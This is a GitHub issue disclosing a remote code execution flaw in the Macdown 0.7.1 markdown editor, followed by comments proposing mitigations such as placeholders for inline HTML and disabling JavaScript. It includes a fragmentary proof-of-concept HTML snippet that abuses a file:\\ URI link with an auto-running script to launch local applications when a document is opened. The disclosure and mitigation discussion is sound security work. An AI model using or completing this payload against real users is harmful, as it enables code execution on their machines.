Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Macdown Version 0.7.1 (870) Remote Code Execution #1050

tylerp96 opened this issue Jan 28, 2019 · 3 comments


None yet
4 participants
Copy link

commented Jan 28, 2019

Macdown Version 0.7.1 (870) Remote Code Execution

Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS when opened inside of Macdown.

PoC (

<!DOCTYPE html>

<a href="file:\\\Applications\" id=exploit download>
  <img src="/images/exploit.jpg" alt="exploit" width="104" height="142">

(function download() {




@FranklinYu FranklinYu added the on hold label Jan 28, 2019


This comment has been minimized.

Copy link

commented Jan 28, 2019

I'm not sure whether we can do anything about it other than prompting user not to open any random .md file. If we deny access to file-system then this app would be useless.


This comment has been minimized.

Copy link

commented May 16, 2019

The app could refuse to open/launch executables.


This comment has been minimized.

Copy link

commented May 21, 2019

I personally don't use embedded HTML in my Markdown docs, partly because I don't know what the engine which renders the Markdown is going to know what to do with it (Macdown is one of several programs which "consume" my Markdown docs) and partly because it goes against the whole idea of separating content from presentation. If anything, I'd like to see a way to disable inline HTML rendering entirely. However, I can see where others might find it useful, so...

The app could show some kind of placeholder where the HTML block would appear. When this placeholder is clicked, a pop-up menu would offer the user the following choices:

  • Render the HTML
  • Show the HTML text without rendering it
  • Ignore the HTML (i.e. make the placeholder disappear)

It makes sense for user's choice for each HTML item to be "remembered" when the rendering pane is reloaded. However, for security, these choices should be "forgotten" when the file is closed or the app quits, i.e. the per-item preferences should not be persisted anywhere other than in memory.

Also, there should not be a way to store those per-item preferences in tags or other metadata within the file itself, since the "bad guy" would just add those tags/metadata to their malicious files and override the user's preferences.

Other related app-wide preference settings would be:

  • The user's preferred default method of handling HTML items when documents are opened (i.e. always render, always show as HTML text, show as placeholder (default), or never show at all)
  • Whether or not to allow Javascript when rendering HTML. This would default to false when the app is installed, and the user would need to acknowledge some kind of warning whenever they change it from false to true.
  • Whether to use or ignore inline CSS when rendering HTML. This would also default to false when the app is installed, and the user would need to acknowledge a warning when changing it from false to true - both due to the potential security risks, and the fact that using inline stylesheets would allow the document to override the existing app-wide stylesheet and radically change the appearance of the rendered document.

You should also consider what to do with each block when the document is printed or exported. My suggestion is, If the item is being rendered or shown as text, then the exported content should do the same. If the item is being shown as a placeholder or not shown at all, then the exported content should not include anything for the item.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.